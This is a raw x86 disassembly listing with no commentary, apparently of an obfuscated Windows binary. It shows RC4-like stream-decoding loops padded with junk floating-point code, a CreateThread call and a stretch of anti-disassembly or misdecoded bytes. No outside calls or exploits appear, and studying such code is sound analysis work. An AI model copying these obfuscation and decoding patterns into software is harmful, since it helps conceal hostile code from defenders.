movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x841]
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x7fd]
mov byte [ebp - 0x87d], al
cmp dword [ebp - 0x864], 0
jle 0x5127a6
movsx ax, byte [ebp - 0x87d]
mov ecx, dword [ebp - 0x864]
mov word [ebp + ecx*2 - 0x6ce], ax
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x864]
shl eax, 1
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x828]
movzx eax, byte [eax]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x840], 0x71
fld qword [0x9a5ae0]
fstp qword [ebp - 0x84c]
fld qword [0x9a5ad8]
fstp qword [ebp - 0x86c]
fld qword [0x9a5ad0]
fstp qword [ebp - 0x87c]
fld qword [0x9a42b0]
fstp qword [ebp - 0x824]
fld qword [0x9a5ac8]
fstp qword [ebp - 0x83c]
fld qword [ebp - 0x84c]
fmul qword [ebp - 0x83c]
fstp qword [ebp - 0x84c]
fld qword [ebp - 0x86c]
fsub qword [ebp - 0x83c]
fstp qword [ebp - 0x86c]
fld qword [ebp - 0x84c]
fmul qword [ebp - 0x83c]
fstp qword [ebp - 0x84c]
fld qword [ebp - 0x87c]
fmul qword [ebp - 0x83c]
fstp qword [ebp - 0x87c]
fld qword [ebp - 0x86c]
fadd qword [ebp - 0x83c]
fstp qword [ebp - 0x86c]
fld qword [ebp - 0x84c]
fcomp qword [ebp - 0x83c]
fnstsw ax
test ah, 0x41
jne 0x512902
fld qword [ebp - 0x87c]
fsub qword [ebp - 0x83c]
fstp qword [ebp - 0x87c]
fld qword [ebp - 0x83c]
fmul qword [ebp - 0x86c]
fstp qword [ebp - 0x83c]
fld qword [ebp - 0x824]
fsub qword [ebp - 0x84c]
fstp qword [ebp - 0x824]
fld qword [ebp - 0x84c]
fmul qword [ebp - 0x87c]
fstp qword [ebp - 0x84c]
fld qword [ebp - 0x83c]
fsub qword [ebp - 0x86c]
fstp qword [ebp - 0x83c]
mov eax, dword [ebp - 0x864]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x858], eax
jmp 0x51295c
fld qword [ebp - 0x83c]
fadd qword [ebp - 0x84c]
fstp qword [ebp - 0x83c]
fld qword [ebp - 0x86c]
fadd qword [ebp - 0x87c]
fstp qword [ebp - 0x86c]
fld qword [ebp - 0x824]
fsub qword [ebp - 0x83c]
fstp qword [ebp - 0x824]
fld qword [ebp - 0x83c]
fadd qword [ebp - 0x84c]
fstp qword [ebp - 0x83c]
fld qword [ebp - 0x87c]
fadd qword [ebp - 0x824]
fstp qword [ebp - 0x87c]
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x858]
movzx eax, byte [eax]
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x888], 0xce
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x840]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x888]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x898]
shl eax, 4
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x894]
or eax, dword [ebp - 0x884]
mov dword [ebp - 0x85c], eax
mov al, byte [ebp - 0x85c]
mov byte [ebp - 0x841], al
movzx eax, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x88d], al
movzx eax, byte [ebp - 0x807]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x6ed]
add ecx, eax
mov byte [ebp - 0x6ed], cl
mov al, byte [ebp - 0x807]
add al, 1
mov byte [ebp - 0x807], al
movzx eax, byte [ebp - 0x6ed]
movzx ecx, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x7fd]
movzx ecx, byte [ebp - 0x6ed]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
movzx ecx, byte [ebp - 0x7fd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
mov cl, byte [ebp - 0x88d]
mov byte [ebp + eax - 0x7f4], cl
movzx eax, byte [ebp - 0x88d]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x7f5]
add ecx, eax
mov byte [ebp - 0x7f5], cl
movzx eax, byte [ebp - 0x841]
movzx ecx, byte [ebp - 0x6ed]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x807]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
movzx ecx, byte [ebp - 0x7fd]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x6dd]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
movzx edx, byte [ebp - 0x7f5]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x841]
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x7fd]
mov byte [ebp - 0x87d], al
cmp dword [ebp - 0x864], 0
jle 0x512b5b
movsx ax, byte [ebp - 0x87d]
mov ecx, dword [ebp - 0x864]
mov word [ebp + ecx*2 - 0x6ce], ax
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x864]
shl eax, 1
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x828]
movzx eax, byte [eax]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x840], 0x71
mov eax, dword [ebp - 0x864]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x858]
movzx eax, byte [eax]
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x888], 0xce
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x840]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x888]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x898]
shl eax, 4
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x894]
or eax, dword [ebp - 0x884]
mov dword [ebp - 0x85c], eax
mov al, byte [ebp - 0x85c]
mov byte [ebp - 0x841], al
movzx eax, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x88d], al
movzx eax, byte [ebp - 0x807]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x6ed]
add ecx, eax
mov byte [ebp - 0x6ed], cl
mov al, byte [ebp - 0x807]
add al, 1
mov byte [ebp - 0x807], al
movzx eax, byte [ebp - 0x6ed]
movzx ecx, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x7fd]
movzx ecx, byte [ebp - 0x6ed]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
movzx ecx, byte [ebp - 0x7fd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
mov cl, byte [ebp - 0x88d]
mov byte [ebp + eax - 0x7f4], cl
movzx eax, byte [ebp - 0x88d]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x7f5]
add ecx, eax
mov byte [ebp - 0x7f5], cl
movzx eax, byte [ebp - 0x841]
movzx ecx, byte [ebp - 0x6ed]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x807]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
movzx ecx, byte [ebp - 0x7fd]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x6dd]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
movzx edx, byte [ebp - 0x7f5]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x841]
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x7fd]
mov byte [ebp - 0x87d], al
cmp dword [ebp - 0x864], 0
jle 0x512db1
movsx ax, byte [ebp - 0x87d]
mov ecx, dword [ebp - 0x864]
mov word [ebp + ecx*2 - 0x6ce], ax
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x864]
shl eax, 1
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x828]
movzx eax, byte [eax]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x840], 0x71
mov eax, dword [ebp - 0x864]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x858]
movzx eax, byte [eax]
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x888], 0xce
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x840]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x888]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x898]
shl eax, 4
mov dword [ebp - 0x894], eax
fld qword [0x9a5ac0]
fstp qword [ebp - 0x854]
fld qword [0x9a5ab8]
fstp qword [ebp - 0x874]
fld qword [0x9a5ab0]
fstp qword [ebp - 0x81c]
fld qword [0x9a5aa8]
fstp qword [ebp - 0x834]
fld qword [ebp - 0x874]
fsub qword [ebp - 0x834]
fstp qword [ebp - 0x874]
fld qword [ebp - 0x874]
fmul qword [ebp - 0x834]
fstp qword [ebp - 0x874]
fld qword [ebp - 0x854]
fadd qword [ebp - 0x834]
fstp qword [ebp - 0x854]
fld qword [ebp - 0x81c]
fmul qword [ebp - 0x834]
fstp qword [ebp - 0x81c]
fld qword [ebp - 0x81c]
fcomp qword [ebp - 0x834]
fnstsw ax
test ah, 0x41
jne 0x512f3b
fld qword [ebp - 0x854]
fmul qword [ebp - 0x81c]
fstp qword [ebp - 0x854]
fld qword [ebp - 0x874]
fsub qword [ebp - 0x834]
fstp qword [ebp - 0x874]
fld qword [ebp - 0x874]
fadd qword [ebp - 0x834]
fstp qword [ebp - 0x874]
fld qword [ebp - 0x834]
fmul qword [ebp - 0x874]
fstp qword [ebp - 0x834]
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x884], eax
jmp 0x512f83
fld qword [ebp - 0x81c]
fmul qword [ebp - 0x834]
fstp qword [ebp - 0x81c]
fld qword [ebp - 0x81c]
fdiv qword [ebp - 0x834]
fstp qword [ebp - 0x81c]
fld qword [ebp - 0x81c]
fdiv qword [ebp - 0x834]
fstp qword [ebp - 0x81c]
fld qword [ebp - 0x874]
fsub qword [ebp - 0x81c]
fstp qword [ebp - 0x874]
mov eax, dword [ebp - 0x894]
or eax, dword [ebp - 0x884]
mov dword [ebp - 0x85c], eax
mov al, byte [ebp - 0x85c]
mov byte [ebp - 0x841], al
movzx eax, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x88d], al
movzx eax, byte [ebp - 0x807]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x6ed]
add ecx, eax
mov byte [ebp - 0x6ed], cl
mov al, byte [ebp - 0x807]
add al, 1
mov byte [ebp - 0x807], al
movzx eax, byte [ebp - 0x6ed]
movzx ecx, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x7fd]
movzx ecx, byte [ebp - 0x6ed]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
movzx ecx, byte [ebp - 0x7fd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
mov cl, byte [ebp - 0x88d]
mov byte [ebp + eax - 0x7f4], cl
movzx eax, byte [ebp - 0x88d]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x7f5]
add ecx, eax
mov byte [ebp - 0x7f5], cl
movzx eax, byte [ebp - 0x841]
movzx ecx, byte [ebp - 0x6ed]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x807]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
movzx ecx, byte [ebp - 0x7fd]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x6dd]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
movzx edx, byte [ebp - 0x7f5]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x841]
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x7fd]
mov byte [ebp - 0x87d], al
cmp dword [ebp - 0x864], 0
jle 0x513124
movsx ax, byte [ebp - 0x87d]
mov ecx, dword [ebp - 0x864]
mov word [ebp + ecx*2 - 0x6ce], ax
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x864]
shl eax, 1
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x828]
movzx eax, byte [eax]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x840], 0x71
mov eax, dword [ebp - 0x864]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x858]
movzx eax, byte [eax]
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x888], 0xce
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x840]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x888]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x898]
shl eax, 4
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x894]
or eax, dword [ebp - 0x884]
mov dword [ebp - 0x85c], eax
mov al, byte [ebp - 0x85c]
mov byte [ebp - 0x841], al
movzx eax, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x88d], al
movzx eax, byte [ebp - 0x807]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x6ed]
add ecx, eax
mov byte [ebp - 0x6ed], cl
mov al, byte [ebp - 0x807]
add al, 1
mov byte [ebp - 0x807], al
movzx eax, byte [ebp - 0x6ed]
movzx ecx, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x7fd]
movzx ecx, byte [ebp - 0x6ed]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
movzx ecx, byte [ebp - 0x7fd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
mov cl, byte [ebp - 0x88d]
mov byte [ebp + eax - 0x7f4], cl
movzx eax, byte [ebp - 0x88d]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x7f5]
add ecx, eax
mov byte [ebp - 0x7f5], cl
movzx eax, byte [ebp - 0x841]
movzx ecx, byte [ebp - 0x6ed]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x807]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
movzx ecx, byte [ebp - 0x7fd]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x6dd]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
movzx edx, byte [ebp - 0x7f5]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x841]
mov byte [ebp - 0x6dd], al
mov al, byte [ebp - 0x7fd]
mov byte [ebp - 0x87d], al
cmp dword [ebp - 0x864], 0
jle 0x51337a
movsx ax, byte [ebp - 0x87d]
mov ecx, dword [ebp - 0x864]
mov word [ebp + ecx*2 - 0x6ce], ax
xor eax, eax
mov word [ebp - 0x6c4], ax
jmp 0x5133b6
and dword [ebp - 0x8a0], 0
jmp 0x51339b
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 5
jge 0x5133b6
xor eax, eax
mov ecx, dword [ebp - 0x8a0]
mov word [ebp + ecx*2 - 0x6cc], ax
jmp 0x51338e
xor eax, eax
mov ecx, dword [ebp - 0x42c]
mov word [ecx], ax
lea eax, [ebp - 0x6cc]
mov dword [ebp - 0xf18], eax
mov eax, dword [ebp - 0xf18]
mov dword [ebp - 0xf1c], eax
mov eax, dword [ebp - 0xf18]
mov ax, word [eax]
mov word [ebp - 0xf1e], ax
add dword [ebp - 0xf18], 2
cmp word [ebp - 0xf1e], 0
jne 0x5133d9
mov eax, dword [ebp - 0xf18]
sub eax, dword [ebp - 0xf1c]
mov ecx, dword [ebp - 0xf1c]
mov dword [ebp - 0xf24], ecx
mov dword [ebp - 0xf28], eax
lea eax, [ebp - 0x68c]
dec eax
dec eax
mov dword [ebp - 0xf2c], eax
mov eax, dword [ebp - 0xf2c]
mov ax, word [eax + 2]
mov word [ebp - 0xf2e], ax
add dword [ebp - 0xf2c], 2
cmp word [ebp - 0xf2e], 0
jne 0x513426
mov edi, dword [ebp - 0xf2c]
mov esi, dword [ebp - 0xf24]
mov eax, dword [ebp - 0xf28]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00938222
pop ecx
pop ecx
lea eax, [ebp - 0x68c]
push eax
mov ecx, dword [ebp + 8]
call fcn.004a5d7e
lea eax, [ebp - 0x424]
push eax
push 0
push dword [ebp + 8]
push 0x5068a6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x420]
call fcn.008e8684
and dword [ebp - 4], 0
and dword [ebp - 0x428], 0
and dword [ebp - 0x6b8], 0
fldz
fstp qword [ebp - 0x454]
fldz
fstp qword [ebp - 0x484]
fldz
fstp qword [ebp - 0x484]
jmp 0x5134f0
fld qword [ebp - 0x484]
fadd qword [0x9a1ed8]
fstp qword [ebp - 0x484]
fld qword [0x9a42a0]
fcomp qword [ebp - 0x484]
fnstsw ax
test ah, 0x41
jne 0x513579
fld qword [0x9a4298]
fmul qword [ebp - 0x484]
fmul qword [ebp - 0x484]
fld qword [ebp - 0x484]
fmul qword [ebp - 0x484]
fsubp st(1)
fld qword [0x9a4290]
fmul qword [ebp - 0x484]
fmul qword [ebp - 0x484]
fadd qword [0x9a4288]
fdivp st(1)
fadd qword [ebp - 0x454]
fstp qword [ebp - 0x454]
fld qword [0x9a4280]
fcomp qword [ebp - 0x454]
fnstsw ax
test ah, 5
jp 0x513574
fld qword [0x9a4278]
fmul qword [ebp - 0x484]
fsubr qword [ebp - 0x454]
fstp qword [ebp - 0x454]
jmp 0x5134de
fldz
fcomp qword [ebp - 0x454]
fnstsw ax
test ah, 0x41
jne 0x5135b5
sbb al, 0x7f
daa
jnp 0x5135b4
jp 0x5135ae
and byte [ebx], 0x7d
jp 0x5135be
jns 0x5135be
jge 0x5135c4
jp 0x5135c2
js 0x5135bd
and dword [edi], 0x4363487d
jae 0x513618
and bh, byte [eax + 0x2d]
inc edi
cmp dword [ecx], ebp
jo 0x5135ff
push ebx
push ebx
push edx
jmp 0x51501d
add bh, al
test eax, ebx
sti
invalid
mov dword [ebp - 0x428], 0x513588
mov dword [ebp - 0x6b8], 0x5135a0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x8a8], eax
mov byte [ebp - 0x9c5], 0x14
and dword [ebp - 0x9bc], 0
jmp 0x5135fe
push ecx
add bh, al
test dword [eax - 7], ecx
stc
invalid
jmp dword [eax - 0x74ffaecb]
mov eax, dword [ebp - 0x9bc]
inc eax
mov dword [ebp - 0x9bc], eax
cmp dword [ebp - 0x9bc], 0x100
mov ebp, 0xfffff644
add byte [ecx], al
add byte [eax], al
jae 0x51361f
mov eax, dword [ebp - 0x9bc]
mov cl, byte [ebp - 0x9bc]
mov byte [ebp + eax - 0x9b4], cl
add eax, 0xfffff64c
jmp 0x5135f1
and dword [ebp - 0x8b0], 0
mov byte [ebp - 0x9c6], 0
mov dword [ebp - 0x9bc], 0xff
jmp 0x513646
mov eax, dword [ebp - 0x9bc]
dec eax
mov dword [ebp - 0x9bc], eax
cmp dword [ebp - 0x9bc], 0
jbe 0x5138c0
and dword [ebp - 0x9cc], 0
mov dword [ebp - 0x9d4], 1
mov eax, dword [ebp - 0x9d4]
cmp eax, dword [ebp - 0x9bc]
jae 0x513684
mov eax, dword [ebp - 0x9d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x9d4], eax
jmp 0x513664
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0xf34], eax
mov eax, dword [ebp - 0xf34]
mov dword [ebp - 0xf38], eax
cmp dword [ebp - 0xf38], 0
je 0x5136c9
sub dword [ebp - 0xf38], 1
je 0x5136f5
sub dword [ebp - 0xf38], 1
je 0x513721
sub dword [ebp - 0xf38], 1
je 0x51374d
jmp 0x513779
movzx eax, byte [ebp - 0x9c6]
movzx ebx, byte [ebp + eax - 0x9b4]
fld qword [ebp - 0x454]
call fcn.00937726
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x9c6], bl
jmp 0x5137a0
movzx eax, byte [ebp - 0x9c6]
movzx ebx, byte [ebp + eax - 0x9b4]
fld qword [ebp - 0x454]
call fcn.00937726
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x9c6], bl
jmp 0x5137a0
movzx eax, byte [ebp - 0x9c6]
movzx ebx, byte [ebp + eax - 0x9b4]
fld qword [ebp - 0x454]
call fcn.00937726
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x9c6], bl
jmp 0x5137a0
movzx eax, byte [ebp - 0x9c6]
movzx ebx, byte [ebp + eax - 0x9b4]
fld qword [ebp - 0x454]
call fcn.00937726
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x9c6], bl
jmp 0x5137a0
movzx eax, byte [ebp - 0x9c6]
movzx eax, byte [ebp + eax - 0x9b4]
mov ecx, dword [ebp - 0x8a8]
add ecx, dword [ebp - 0x8b0]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x9c6], al
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
movzx eax, byte [ebp - 0x9c5]
cmp dword [ebp - 0x8b0], eax
jb 0x5137d9
and dword [ebp - 0x8b0], 0
movzx eax, byte [ebp - 0x9c5]
movzx ecx, byte [ebp - 0x9c6]
add ecx, eax
mov byte [ebp - 0x9c6], cl
movzx eax, byte [ebp - 0x9c6]
and eax, dword [ebp - 0x9d4]
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x9cc], 0xb
jbe 0x513816
mov eax, dword [ebp - 0x9d0]
xor edx, edx
div dword [ebp - 0x9bc]
mov dword [ebp - 0x9d0], edx
mov eax, dword [ebp - 0x9d0]
cmp eax, dword [ebp - 0x9bc]
ja 0x513684
mov eax, dword [ebp - 0x9bc]
cmp eax, dword [ebp - 0x9d0]
je 0x5138bb
mov eax, dword [ebp - 0x9d0]
movzx eax, byte [ebp + eax - 0x9b4]
mov ecx, dword [ebp - 0x9bc]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor ecx, eax
mov eax, dword [ebp - 0x9bc]
mov byte [ebp + eax - 0x9b4], cl
mov eax, dword [ebp - 0x9bc]
movzx eax, byte [ebp + eax - 0x9b4]
mov ecx, dword [ebp - 0x9d0]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor ecx, eax
mov eax, dword [ebp - 0x9d0]
mov byte [ebp + eax - 0x9b4], cl
mov eax, dword [ebp - 0x9d0]
movzx eax, byte [ebp + eax - 0x9b4]
mov ecx, dword [ebp - 0x9bc]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor ecx, eax
mov eax, dword [ebp - 0x9bc]
mov byte [ebp + eax - 0x9b4], cl
jmp 0x513639
mov al, byte [ebp - 0x9b3]
mov byte [ebp - 0x9c7], al
mov al, byte [ebp - 0x9b1]
mov byte [ebp - 0x8b1], al
mov al, byte [ebp - 0x9af]
mov byte [ebp - 0x9b5], al
mov al, byte [ebp - 0x9ad]
mov byte [ebp - 0x9bd], al
movzx eax, byte [ebp - 0x9c6]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0x8a1], al
mov dword [ebp - 0x9c4], 0x18
cmp dword [ebp - 0x9c4], 2
jle 0x514fec
mov eax, dword [ebp - 0x9c4]
and eax, 1
jne 0x514fec
and dword [ebp - 0xa30], 0
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
add eax, dword [ebp - 0xa54]
mov dword [ebp - 0xa54], eax
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0xa00]
add eax, 0x1c
mov dword [ebp - 0xa00], eax
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
add eax, dword [ebp - 0xa64]
mov dword [ebp - 0xa64], eax
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0xa50]
add eax, 0x77
mov dword [ebp - 0xa50], eax
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
add eax, dword [ebp - 0xa60]
mov dword [ebp - 0xa60], eax
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
add eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x9e8], eax
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov byte [ebp - 0xa0d], 0
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
mov byte [ebp - 0xa55], 0
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
movzx eax, byte [ebp - 0x9c7]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
